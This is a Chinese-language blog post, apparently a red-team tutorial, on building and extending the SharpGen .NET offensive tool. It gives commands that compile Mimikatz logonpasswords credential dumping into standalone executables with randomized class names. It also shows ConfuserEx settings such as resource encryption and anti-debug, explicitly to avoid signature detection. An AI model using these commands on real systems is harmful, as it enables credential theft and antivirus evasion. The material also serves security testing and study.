SharpGen利用分析

0x00 前言


SharpGen是我认为特别棒的一个工具,它能够用来对其他.Net程序集进行整合、重组并加密,二次编译后可生成一个全新的工具

本文将要研究SharpGen的细节,介绍调用其他开源库的详细方法,分析利用思路

参考链接:

https://github.com/cobbr/SharpGen

https://cobbr.io/SharpGen.html

0x01 简介


本文将要介绍以下内容:

  • .NET Core开发环境搭建
  • 功能介绍
  • 调用其他开源库的方法
  • 利用思路

0x02 .NET Core开发环境搭建


SharpGen使用.NET Core,优点是支持多平台(Linux,MacOS和Windows)

编程语言使用C#,利用Rosyln编译.NET Framework控制台应用程序或库

注:

Rosyln是一个.NET编译器平台,通过Scripting API,能够对脚本文件进行动态编译

测试系统:Win7x64

我在测试系统选择安装.NET Core 2.2.0、ASP.NET Core 2.2.0和SDK 2.2.101,这是为了兼容另一个工具Covenant

对应版本的下载链接如下:

https://dotnet.microsoft.com/download/thank-you/dotnet-sdk-2.2.101-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-asp.net-core-runtime-installer

安装Git for Windows,下载链接如下:

https://github.com/git-for-windows/git/releases/download/v2.23.0.windows.1/Git-2.23.0-64-bit.exe

下载安装并编译SharpGen:

git clone https://github.com/cobbr/SharpGen
cd SharpGen
dotnet build --configuration Release

0x03 基本功能介绍


SharpGen默认集成了SharpSploit,能够直接调用其中的功能

参数说明:

Options:
  -? | -h | --help                                     Show help information
  -f | --file <OUTPUT_FILE>                            The output file to write to.
  -d | --dotnet | --dotnet-framework <DOTNET_VERSION>  The Dotnet Framework version to target (net35 or net40).
  -o | --output-kind <OUTPUT_KIND>                     The OutputKind to use (console or dll).
  -p | --platform <PLATFORM>                           The Platform to use (AnyCpy, x86, or x64).
  -n | --no-optimization                               Don't use source code optimization.
  -a | --assembly-name <ASSEMBLY_NAME>                 The name of the assembly to be generated.
  -s | --source-file <SOURCE_FILE>                     The source code to compile.
  -c | --class-name <CLASS_NAME>                       The name of the class to be generated.
  --confuse <CONFUSEREX_PROJECT_FILE>                  The ConfuserEx ProjectFile configuration.

1.对单行代码进行编译

命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

执行过程显示自动补齐的编译代码,如下图

Alt text

值得注意的是其中的随机类名ohq8r7eQ1qK,每次生成文件时使用的类名均会改变

注:

如果想指定类名,可以加入-c参数,示例如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -c abcde12345 -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());" 

命令执行后生成example.exe,example.exe会调用Mimikatz的sekurlsa::logonpasswords命令

2.对完整代码文件进行编译

example.txt的内容如下:

using System;
using SharpSploit.Execution;
using SharpSploit.Credentials;

class Program
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
        return;
    }
}

命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

执行过程显示编译代码,如下图

Alt text

由于指定了类名为Program,所以不再具有随机类名的功能

注:

SharpGen使用了Rosyln进行动态编译,每次生成的文件hash都会不一样

0x04 高级功能


1.缩小生成文件的体积

(1)取消对指定dll的引用

编辑文件SharpGen/References/references.yml

此处的dll通常为C#程序使用的引用文件

不需要的dll名称属性由Enabled: true改为Enabled: false

(2)取消对指定dll的引用

编辑文件SharpGen/Resources/resources.yml

此处的dll为实现mimikatz的功能

不需要的dll名称属性由Enabled: true改为Enabled: false

注:

  • powerkatz_x64.dll为64位的mimikatz
  • powerkatz_x64.dll.comp为使用System.IO.Compression库压缩后的64位的mimikatz
  • powerkatz_x86.dll为32位的mimikatz
  • powerkatz_x86.dll.comp为使用System.IO.Compression库压缩后的32位的mimikatz

(3)使用ConfuserEx资源保护

ConfuserEx资源保护会对资源进行加密和LZMA压缩

示例命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

2.调用其他开源库

参考资料中未介绍这部分内容,这里给出我的解决方法

这里给出两个示例,一个是开源的SharpWMI,另一个是我自己编写的模板SharpTest

1.添加对SharpWMI的调用

(1)将SharpWMI源码复制到SharpGen/Source

(2)修改SharpGen/SharpGen.csproj

ItemGroup标签中添加<Compile Remove="Source\SharpWMI\Program.cs" />

否则在编译SharpGen时会报错提示:

Source\SharpWMI\Program.cs(3,14): error CS0234: The type or namespace name 'Management' does not exist in the namespace 'System' (are you missing an assembly reference?)

(3)修改SharpWMI的源代码

只保留Program.cs,删除其中的Main函数并且将Program.cs中的每个静态方法改为公共方法

例如:

static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")需要修改为public static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")

(4)重新编译SharpGen

命令如下:

dotnet build --configuration Release

(5)调用测试

example.txt的功能为调用SharpWMI中的LocalWMIQuery方法查询win32_ComputerSystem,内容如下:

SharpWMI.Program.LocalWMIQuery("select * from win32_ComputerSystem");
Console.WriteLine(Host.GetProcessList());

SharpGen的命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成example.ex并执行,调用成功,如下图

Alt text

2.添加自己编写的C#模板

命名为SharpTest,功能为接收参数并在命令行输出

(1)新建文件夹SharpTest,其中新建文件Program.cs,内容如下:

using System;
using System.Collections.Generic;
using System.Management;
namespace SharpTest
{
    class Program
    {
        public static void TestMethod(string string1)
        {
            Console.WriteLine(string1);
        }
    }
}

(2)修改SharpGen/SharpGen.csproj

ItemGroup标签中添加<Compile Remove="Source\SharpTest\Program.cs" />

(3)重新编译SharpGen

命令如下:

dotnet build --configuration Release

(4)调用测试

example.txt的功能为调用SharpTest中的TestMethod方法,参数为123456,内容如下:

SharpTest.Program.TestMethod("123456");

SharpGen的命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成example.exe并执行,调用成功,如下图

Alt text

为了便于测试,我已经fork了cobbr的SharpGen,添加了对SharpWMI和SharpTest的调用,地址如下:

https://github.com/3gstudent/SharpGen

3.资源保护

使用新版的ConfuserEx能够对编译后的文件资源进行保护,地址如下:

https://github.com/mkaring/ConfuserEx

旧版的ConfuserEx不再进行维护,地址如下:

https://github.com/yck1509/ConfuserEx

调用命令示例:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

对应使用的配置文件为SharpGen/confuse.cr

默认配置为对资源执行加密和LZMA压缩

ConfuserEx还支持其他保护功能:

  • Anti Debug Protection
  • Anti Dump Protection
  • Anti IL Dasm Protection
  • Anti Tamper Protection
  • Constants Protection
  • Control Flow Protection
  • Invalid Metadata Protection
  • Name Protection
  • Reference Proxy Protection
  • Resources Protection

只需要去掉SharpGen/confuse.cr中对应的注释即可

例如添加anti debug功能,配置文件confuse.cr的内容如下:

<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
    <module path="{2}">
      <rule pattern="true" inherit="false">
         <!-- <protection id="anti debug" />       -->
         <!-- <protection id="anti dump" />        -->
         <!-- <protection id="anti ildasm" />      -->
         <!-- <protection id="anti tamper" />      -->
         <!-- <protection id="constants" />        -->
         <!-- <protection id="ctrl flow" />        -->
         <!-- <protection id="invalid metadata" /> -->
         <!-- <protection id="ref proxy" />        -->
         <!-- <protection id="rename" />           -->
         <protection id="resources" />
         <protection id="anti debug" />
      </rule>
    </module>
</project>

4.补充:禁用优化

SharpGen在编译期间会对源代码进行优化,可通过--no-optimization参数来禁用优化,这将导致增加生成文件的大小

0x05 利用分析


SharpGen可以作为.Net程序集重新包装的平台,具有如下优点:

  • 使用.NET Core平台和Roslyn进行动态编译,开发代码时可选择多平台(Linux,MacOS和Windows)
  • 可调用其他开源库,实现功能的定制,最后将其封装成单独的一个exe文件或dll文件
  • 使用ConfuserEx对资源进行加密和压缩,避免对特征码的检测
  • 生成的文件支持.Net3.5和.Net 4.0
  • 生成的文件支持x86和x64

更进一步,使用SharpGen能够快速的将.Net程序集形式的POC转换成EXP

0x06 小结


本文介绍了SharpGen的功能,分享了我实现调用其他开源库的方法,分析SharpGen的优点。


LEAVE A REPLY

Written on October 17, 2019